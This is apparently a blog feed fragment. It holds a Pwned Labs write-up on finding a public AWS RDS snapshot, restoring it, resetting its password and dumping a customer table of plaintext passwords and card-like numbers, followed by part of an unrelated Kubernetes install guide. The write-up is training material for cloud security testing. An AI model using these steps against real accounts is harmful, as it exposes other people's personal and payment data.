&lt;p&gt;Huge Logistics, a global logistics leader, has enlisted your team&amp;rsquo;s expertise for an external security review of their cloud infrastructure. Starting with the provided AWS Account ID, your task is to uncover security flaws within their AWS environment and demonstrate the potential risks they pose. Every finding will bolster their defense against future threats.&lt;/p&gt;
&lt;h2 id=&#34;learning-outcomes&#34;&gt;Learning Outcomes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Familiarity with the AWS RDS console&lt;/li&gt;
&lt;li&gt;Familiarity with the PostgreSQL cli&lt;/li&gt;
&lt;li&gt;An awareness of how this could be remediated and detected&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;real-world-context&#34;&gt;Real World Context&lt;/h2&gt;
&lt;p&gt;Legions of databases are being inadvertently exposed on AWS due to the RDS (Relational Database Service) public snapshot feature. The Mitiga Research Team found that within a month, out of 2,783 RDS snapshots, 810 were consistently public, and 1,859 were public for one to two days. This public setting allows unauthorized access to potentially sensitive data, and threat actors can exploit this data for ransomware, extortion, or other malicious activities.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/plunder-public-rds-snapshots">Pnwed Labs - Plunder Public RDS Snapshots</a></p>
<h2 id="entry-point">Entry Point</h2>
<p>AWS Account ID: 104506445608</p>
<h2 id="scenario">Scenario</h2>
<p>Huge Logistics, a global logistics leader, has enlisted your team&rsquo;s expertise for an external security review of their cloud infrastructure. Starting with the provided AWS Account ID, your task is to uncover security flaws within their AWS environment and demonstrate the potential risks they pose. Every finding will bolster their defense against future threats.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Familiarity with the AWS RDS console</li>
<li>Familiarity with the PostgreSQL cli</li>
<li>An awareness of how this could be remediated and detected</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Legions of databases are being inadvertently exposed on AWS due to the RDS (Relational Database Service) public snapshot feature. The Mitiga Research Team found that within a month, out of 2,783 RDS snapshots, 810 were consistently public, and 1,859 were public for one to two days. This public setting allows unauthorized access to potentially sensitive data, and threat actors can exploit this data for ransomware, extortion, or other malicious activities.</p>
<hr>
<h2 id="attack">Attack</h2>
<p>As we only have the account ID for the target AWS account, we will have to use our credentials for the enumeration and we have confirmed that these are working by running the command <code>aws sts get-caller-identity</code>.</p>
<p>For enumeration of RDS Instance we have the option to search for snapshots from single RDS Database Instances or Clusters.  We will first start with a Single RDS instance.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws rds describe-db-snapshots --snapshot-type public --include-public --region us-east-1 | grep <span style="color:#ae81ff">104506445608</span>
</span></span></code></pre></div><p>We get no response, so we will modify the query to search for Cluster RDS Instances.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region us-east-1 | grep <span style="color:#ae81ff">104506445608</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;DBClusterSnapshotIdentifier&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;DBClusterSnapshotArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private&#34;</span>,
</span></span></code></pre></div><p>You can see that this reveals a RDS cluster snapshot name <code>orders-private</code>.  We will login to our AWS console and then navigate to RDS -&gt; Snapshots -&gt; Public and filter for &ldquo;orders-private&rdquo;</p>
<p><img src="/assets/pwn_20240625143100.png" alt=""></p>
<p>We click on the Snapshot name and we can see all the details about it, noting that the DB engine is <code>aurora-postgresql</code>.</p>
<p><img src="/assets/pwn_20240625143142.png" alt="">
From the Actions drop-down, we will select <code>Restore Snapshot</code></p>
<p><img src="/assets/pwn_20240625143317.png" alt=""></p>
<p>We are then presented with a list of options which we will go through.  For the <code>DB Instances settings</code>, we will accept the defaults and under <code>Settings</code>, enter any label for the <code>Db Instance Identifier</code></p>
<p><img src="/assets/pwn_20240625143515.png" alt=""></p>
<p>Under <code>Instance Configuration</code>, select Burstable classes (includes t classes) and then make sure that db.t3.medium is selected.
<img src="/assets/pwn_20240625143917.png" alt=""></p>
<p>Under <code>Connectivity</code> ensure that Public Access is set to <strong>No</strong> and choose the option to create a new Security Group which we will call snappy</p>
<p><img src="/assets/pwn_20240625144246.png" alt=""></p>
<p>We can leave the other settings as default and then click <code>Restore DB Cluster</code></p>
<p><img src="/assets/pwn_20240625144342.png" alt=""></p>
<p>The restore process is underway and this would be a really good time to grab a coffee and stretch your legs as it will take some time.</p>
<p><img src="/assets/pwn_20240625144536.png" alt=""></p>
<p>Once the database cluster is restored and the status shows &ldquo;Available&rdquo;, we select <code>pwnedlabs-cluster</code> and from the <code>Actions</code> drop-down menu select <code>Set up EC2 Connection</code>.</p>
<p><img src="/assets/pwn_20240625150424.png" alt=""></p>
<p>As we don&rsquo;t have an EC2 already running, we will click <code>Create EC2 Instance</code></p>
<p><img src="/assets/pwn_20240625150553.png" alt=""></p>
<p>We created our instance and then selected it from the drop-down menu and then select Continue</p>
<p><img src="/assets/pwn_20240625151040.png" alt=""></p>
<p>We review the setting and then select Set up</p>
<p><img src="/assets/pwn_20240625151153.png" alt=""></p>
<p>There is one small problem, we don&rsquo;t know the Master Password for the Database!  We can fix that by selecting the database clicking modify</p>
<p><img src="/assets/pwn_20240625151415.png" alt=""></p>
<p>We enter a new password and then select Continue</p>
<p><img src="/assets/pwn_20240625151623.png" alt=""></p>
<p>Confirm that the <code>Apply immediately</code> radio button is selected and then click <code>Modify DB Instance</code> and await for confirmation.
<img src="/assets/pwn_20240625151710.png" alt=""></p>
<p><img src="/assets/pwn_20240625151735.png" alt=""></p>
<p>Now that we have reset the Master DB password, we need to get the endpoint details for the DB by clicking on the Database and making a note of the Endpoint details</p>
<p><img src="/assets/pwn_20240625152023.png" alt=""></p>
<p>We now connect to the EC2 client that we provisioned earlier and depending on the distribution that you chose you will need to install the the postgres client tools.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># RPM Distributions e.g. Amazon Linux</span>
</span></span><span style="display:flex;"><span>sudo yum install -y postgresql15.x86_64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Debian based Distributions e.g. Ubuntu, Debian</span>
</span></span><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&amp;&amp;</span> sudo apt install -y postgresql-client
</span></span></code></pre></div><p>Once we have installed the Postgresql Client, we can then connect to the the database.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>ec2-user@ip-172-31-2-135 ~<span style="color:#f92672">]</span>$ psql -h pwnedlabs.cfzdnjlbu5mp.us-east-1.rds.amazonaws.com -U postgres
</span></span><span style="display:flex;"><span>Password <span style="color:#66d9ef">for</span> user postgres: 
</span></span><span style="display:flex;"><span>psql <span style="color:#f92672">(</span>15.7, server 14.11<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>SSL connection <span style="color:#f92672">(</span>protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;help&#34;</span> <span style="color:#66d9ef">for</span> help.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span>&gt; <span style="color:#ae81ff">\l</span>ist
</span></span><span style="display:flex;"><span>                                                  List of databases
</span></span><span style="display:flex;"><span>    Name     |  Owner   | Encoding |   Collate   |    Ctype    | ICU Locale | Locale Provider |   Access privileges   
</span></span><span style="display:flex;"><span>-------------+----------+----------+-------------+-------------+------------+-----------------+-----------------------
</span></span><span style="display:flex;"><span> cust_orders | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
</span></span><span style="display:flex;"><span> postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
</span></span><span style="display:flex;"><span> rdsadmin    | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | rdsadmin<span style="color:#f92672">=</span>CTc/rdsadmin+
</span></span><span style="display:flex;"><span>             |          |          |             |             |            |                 | rdstopmgr<span style="color:#f92672">=</span>Tc/rdsadmin
</span></span><span style="display:flex;"><span> template0   | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | <span style="color:#f92672">=</span>c/rdsadmin          +
</span></span><span style="display:flex;"><span>             |          |          |             |             |            |                 | rdsadmin<span style="color:#f92672">=</span>CTc/rdsadmin
</span></span><span style="display:flex;"><span> template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | <span style="color:#f92672">=</span>c/postgres          +
</span></span><span style="display:flex;"><span>             |          |          |             |             |            |                 | postgres<span style="color:#f92672">=</span>CTc/postgres
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">5</span> rows<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span>&gt; <span style="color:#ae81ff">\c</span> cust_orders
</span></span><span style="display:flex;"><span>psql <span style="color:#f92672">(</span>15.7, server 14.11<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>SSL connection <span style="color:#f92672">(</span>protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>You are now connected to database <span style="color:#e6db74">&#34;cust_orders&#34;</span> as user <span style="color:#e6db74">&#34;postgres&#34;</span>.
</span></span><span style="display:flex;"><span>cust_orders<span style="color:#f92672">=</span>&gt; <span style="color:#ae81ff">\d</span>t
</span></span><span style="display:flex;"><span>         List of relations
</span></span><span style="display:flex;"><span> Schema |  Name  | Type  |  Owner   
</span></span><span style="display:flex;"><span>--------+--------+-------+----------
</span></span><span style="display:flex;"><span> public | flag   | table | postgres
</span></span><span style="display:flex;"><span> public | orders | table | postgres
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">2</span> rows<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cust_orders<span style="color:#f92672">=</span>&gt; <span style="color:#66d9ef">select</span> * from orders;
</span></span><span style="display:flex;"><span> order_id |     username     |      password      | contract |      credit      
</span></span><span style="display:flex;"><span>----------+------------------+--------------------+----------+------------------
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5421</span> | cmckoy1          | sS9Ty#q9$eWt5      | <span style="color:#ae81ff">20</span>       | <span style="color:#ae81ff">4024007170882670</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5422</span> | icotesford2      | fU5v<span style="color:#f92672">{</span><span style="color:#ae81ff">\W</span>@L          | <span style="color:#ae81ff">4826</span>     | <span style="color:#ae81ff">4929845244025480</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5423</span> | ccrowley3        | uT0*4Weju2Y5y      | <span style="color:#ae81ff">26</span>       | <span style="color:#ae81ff">4916667994903810</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5424</span> | aclapton4        | cP10#C7plSND?      | <span style="color:#ae81ff">8142</span>     | <span style="color:#ae81ff">4929058775447770</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5425</span> | cgayther5        | mL8MqODFOb5        | <span style="color:#ae81ff">1272</span>     | <span style="color:#ae81ff">4532144970022660</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">5426</span> | llekeux6         | <span style="color:#e6db74">&#34;bJ0?&gt;*&#34;&#34;#.MWQyl\&#34; | 147      | 4716938266108160
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5430 | bsteckingse      | lD0{MIoK           | 566      | 4485183940482810
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5431 | pbortonf         | sJ2c_WT\JKd        | 82       | 4485935491550410
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5436 | cstacek          | l850WJian          | 2255     | 4716007731412910
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5437 | mflawsl          | 151iAEqKd          | 28160    | 4539699812362260
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5438 | jleindeckerm     | 72zBpmsrS          | 8266     | 4289820367687140
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5439 | mfinann          | PkRYmQnO4          | 77       | 4539087515570140
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5440 | mbootep          | FjyuISweP          | 85617    | 4716750859124260
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5441 | dbalogunq        | IrOYK75ig          | 673      | 4556528496965920
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5442 | fgrishanovs      | xIU7dPAbf          | 35       | 4556546482969700
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5443 | ubiasinit        | YzvYaq0wl          | 21       | 4716438044123840
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5445 | leddowx          | Mb0xSsw9e          | 3362     | 4556913179072280
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">     5446 | afoulisy         | BaUR5EiGt          | 3619     | 4929717439788210
</span></span></span></code></pre></div><p>We have successfully found PII information as well as the flag, but it is important to note that even though AWS provides ample warnings and even emails you about the dangers of having a public RDS snapshot, there are still a lot of them and if it is an option, no matter how bad, you can be sure that someone will choose it.</p>
]]></content>
        </item>
        
        <item>
            <title>Install Kubernetes</title>
            <link>https://www.nephos.guru/posts/2024/installkubernetes/</link>
            <pubDate>Fri, 21 Jun 2024 17:19:30 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/installkubernetes/</guid>
            <description>&lt;h2 id=&#34;build-overview&#34;&gt;Build Overview&lt;/h2&gt;
&lt;p&gt;Virtual Environment - &lt;a href=&#34;https://proxmox.com/en/proxmox-virtual-environment/overview&#34;&gt;https://proxmox.com/en/proxmox-virtual-environment/overview&lt;/a&gt; &lt;br&gt;
Debian 12 (Cloud Image) - &lt;a href=&#34;https://cloud.debian.org/images/cloud/&#34;&gt;https://cloud.debian.org/images/cloud/&lt;/a&gt; &lt;br&gt;
Kubernetes 1.30.2 - &lt;a href=&#34;https://kubernetes.io/releases/&#34;&gt;https://kubernetes.io/releases/&lt;/a&gt; &lt;br&gt;
Containerd 1.7.14 - &lt;a href=&#34;https://containerd.io/releases/&#34;&gt;https://containerd.io/releases/&lt;/a&gt; &lt;br&gt;
RunC 1.1.13 - &lt;a href=&#34;https://github.com/opencontainers/runc/releases&#34;&gt;https://github.com/opencontainers/runc/releases&lt;/a&gt; &lt;br&gt;
CNI Plugins 1.5.1 - &lt;a href=&#34;https://github.com/containernetworking/plugins/releases&#34;&gt;https://github.com/containernetworking/plugins/releases&lt;/a&gt; &lt;br&gt;
Calico CNI 3.28.0 - &lt;a href=&#34;https://docs.tigera.io/calico/3.27/getting-started/kubernetes/quickstart&#34;&gt;https://docs.tigera.io/calico/3.27/getting-started/kubernetes/quickstart&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;system-summary&#34;&gt;System Summary&lt;/h2&gt;
&lt;p&gt;3 Nodes, 2 vCPU, 4GB RAM, 32GB Disk&lt;/p&gt;
&lt;p&gt;k8s-ctrlr : 192.168.8.80 &lt;br&gt;
k8s-node-1 : 192.168.8.81 &lt;br&gt;
k8s-node-2 : 192.168.8.82&lt;/p&gt;
&lt;h2 id=&#34;installation-process&#34;&gt;Installation Process&lt;/h2&gt;
&lt;p&gt;The following installation steps are required to be carried out on all hosts.  Specific steps for the Control Node will be marked accordingly.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="build-overview">Build Overview</h2>
<p>Virtual Environment - <a href="https://proxmox.com/en/proxmox-virtual-environment/overview">https://proxmox.com/en/proxmox-virtual-environment/overview</a> <br>
Debian 12 (Cloud Image) - <a href="https://cloud.debian.org/images/cloud/">https://cloud.debian.org/images/cloud/</a> <br>
Kubernetes 1.30.2 - <a href="https://kubernetes.io/releases/">https://kubernetes.io/releases/</a> <br>
Containerd 1.7.14 - <a href="https://containerd.io/releases/">https://containerd.io/releases/</a> <br>
RunC 1.1.13 - <a href="https://github.com/opencontainers/runc/releases">https://github.com/opencontainers/runc/releases</a> <br>
CNI Plugins 1.5.1 - <a href="https://github.com/containernetworking/plugins/releases">https://github.com/containernetworking/plugins/releases</a> <br>
Calico CNI 3.28.0 - <a href="https://docs.tigera.io/calico/3.27/getting-started/kubernetes/quickstart">https://docs.tigera.io/calico/3.27/getting-started/kubernetes/quickstart</a></p>
<h2 id="system-summary">System Summary</h2>
<p>3 Nodes, 2 vCPU, 4GB RAM, 32GB Disk</p>
<p>k8s-ctrlr : 192.168.8.80 <br>
k8s-node-1 : 192.168.8.81 <br>
k8s-node-2 : 192.168.8.82</p>
<h2 id="installation-process">Installation Process</h2>
<p>The following installation steps are required to be carried out on all hosts.  Specific steps for the Control Node will be marked accordingly.</p>
<blockquote>
<p>If you don&rsquo;t have DNS then you need to update <code>/etc/hosts</code> with the host names and IP addresses of all systems</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Switch to the root user</span>
</span></span><span style="display:flex;"><span>sudo -i 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Add required kernel modules to the configuration for loading at boot</span>
</span></span><span style="display:flex;"><span>printf <span style="color:#e6db74">&#34;overlay\nbr_netfilter\n&#34;</span> &gt;&gt; /etc/modules-load.d/containerd.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Load the kernel modules immediately</span>
</span></span><span style="display:flex;"><span>modprobe overlay
</span></span><span style="display:flex;"><span>modprobe br_netfilter
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Configure sysctl parameters required for Kubernetes networking</span>
</span></span><span style="display:flex;"><span>printf <span style="color:#e6db74">&#34;net.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\nnet.bridge.bridge-nf-call-ip6tables = 1\n&#34;</span> &gt;&gt; /etc/sysctl.d/99-kubernetes-cri.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Apply the sysctl parameters without rebooting</span>
</span></span><span style="display:flex;"><span>sysctl --system
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Download the specified version of containerd</span>
</span></span><span style="display:flex;"><span>wget https://github.com/containerd/containerd/releases/download/v1.7.14/containerd-1.7.14-linux-amd64.tar.gz -P /tmp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Extract the downloaded containerd archive to /usr/local</span>
</span></span><span style="display:flex;"><span>tar Cxzvf /usr/local /tmp/containerd-1.7.14-linux-amd64.tar.gz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Download the systemd service file for containerd</span>
</span></span><span style="display:flex;"><span>wget https://raw.githubusercontent.com/containerd/containerd/main/containerd.service -P /etc/systemd/system/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Reload systemd configuration and enable containerd to start on boot, then start it immediately</span>
</span></span><span style="display:flex;"><span>systemctl daemon-reload
</span></span><span style="display:flex;"><span>systemctl enable --now containerd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Download the runc binary</span>
</span></span><span style="display:flex;"><span>wget https://github.com/opencontainers/runc/releases/download/v1.1.13/runc.amd64 -P /tmp/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Install the runc binary to /usr/local/sbin with appropriate permissions</span>
</span></span><span style="display:flex;"><span>install -m <span style="color:#ae81ff">755</span> /tmp/runc.amd64 /usr/local/sbin/runc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Download the CNI plugins archive</span>
</span></span><span style="display:flex;"><span>wget https://github.com/containernetworking/plugins/releases/download/v1.5.1/cni-plugins-linux-amd64-v1.5.1.tgz -P /tmp/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create the directory for CNI plugins and extract the downloaded archive there</span>
</span></span><span style="display:flex;"><span>mkdir -p /opt/cni/bin
</span></span><span style="display:flex;"><span>tar Cxzvf /opt/cni/bin /tmp/cni-plugins-linux-amd64-v1.5.1.tgz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create the containerd configuration directory</span>
</span></span><span style="display:flex;"><span>mkdir -p /etc/containerd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Generate the default containerd configuration and save it to the config file</span>
</span></span><span style="display:flex;"><span>containerd config default | tee /etc/containerd/config.toml
</span></span></code></pre></div><p>We need to edit this file <code>/etc/containerd/config.toml</code> in your favorite editor. Search for &ldquo;SystemdCgroup&rdquo; and change the value to true and then restart the service with <code>systemctl restart containerd</code></p>
<blockquote>
<p>Ensure that you are changing the correct value which is under &ldquo;[plugins.&ldquo;io.containerd.grpc.v1.cri&rdquo;.containerd.runtimes.runc.options]&rdquo;</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Ensure that swap is turned off</span>
</span></span><span style="display:flex;"><span>swapoff -a
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Edit /etc/fstab and comment out any line that refers to swap</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This can be done manually using a text editor like nano or vim</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># For example: nano /etc/fstab</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Update package lists and install required packages</span>
</span></span><span style="display:flex;"><span>apt update <span style="color:#f92672">&amp;&amp;</span> sudo apt install -y apt-transport-https ca-certificates curl gpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create the directory for storing apt keyrings with appropriate permissions</span>
</span></span><span style="display:flex;"><span>mkdir -p -m <span style="color:#ae81ff">755</span> /etc/apt/keyrings
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Download and store the Kubernetes APT repository key</span>
</span></span><span style="display:flex;"><span>curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.30/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Add the Kubernetes APT repository to the sources list</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.30/deb/ /&#39;</span> | sudo tee /etc/apt/sources.list.d/kubernetes.list
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Update package lists again to include the Kubernetes repository</span>
</span></span><span style="display:flex;"><span>apt update
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Reboot the system to apply changes</span>
</span></span><span style="display:flex;"><span>reboot
</span></span></code></pre></div><p>Once the system has reboot, we shall continue with the installation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Switch to the root user</span>
</span></span><span style="display:flex;"><span>sudo -i
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Install specific versions of kubelet, kubeadm, and kubectl</span>
</span></span><span style="display:flex;"><span>apt install -y kubelet<span style="color:#f92672">=</span>1.30.2-1.1 kubeadm<span style="color:#f92672">=</span>1.30.2-1.1 kubectl<span style="color:#f92672">=</span>1.30.2-1.1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Prevent the installed versions of kubelet, kubeadm, and kubectl from being automatically updated</span>
</span></span><span style="display:flex;"><span>apt-mark hold kubelet kubeadm kubectl
</span></span></code></pre></div><h3 id="control-node-only">Control Node Only</h3>
<p>The following tasks are to be run on the control node only</p>
<blockquote>
<p>Ensure that the kubernetes version is correct for what you installed and that the node-name value is set to the hostname of the Control Node.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubeadm init --pod-network-cidr 10.10.0.0/16 --kubernetes-version 1.30.2 --node-name k8s-ctrlr
</span></span><span style="display:flex;"><span>export KUBECONFIG<span style="color:#f92672">=</span>/etc/kubernetes/admin.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># For non-root user run the following commands</span>
</span></span><span style="display:flex;"><span>mkdir -p $HOME/.kube
</span></span><span style="display:flex;"><span>sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
</span></span><span style="display:flex;"><span>sudo chown <span style="color:#66d9ef">$(</span>id -u<span style="color:#66d9ef">)</span>:<span style="color:#66d9ef">$(</span>id -g<span style="color:#66d9ef">)</span> $HOME/.kube/config
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Setup Calico CNI 3.28.0</span>
</span></span><span style="display:flex;"><span>kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.28.0/manifests/tigera-operator.yaml
</span></span><span style="display:flex;"><span>wget https://raw.githubusercontent.com/projectcalico/calico/v3.28.0/manifests/custom-resources.yaml
</span></span></code></pre></div><p>Modify the <code>custom-resources.yml</code> file to update the CIDR to match the POD CIDR set in the previous step using your favorite editor.  The following is the modified YAML file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#75715e"># This section includes base Calico installation configuration.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.Installation</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">operator.tigera.io/v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Installation</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">default</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Configures Calico networking.</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">calicoNetwork</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ipPools</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">default-ipv4-ippool</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">blockSize</span>: <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">cidr</span>: <span style="color:#ae81ff">10.10.0.0</span><span style="color:#ae81ff">/16</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">encapsulation</span>: <span style="color:#ae81ff">VXLANCrossSubnet</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">natOutgoing</span>: <span style="color:#ae81ff">Enabled</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">nodeSelector</span>: <span style="color:#ae81ff">all()</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This section configures the Calico API server.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.APIServer</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">operator.tigera.io/v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">APIServer</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">default</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>: {}
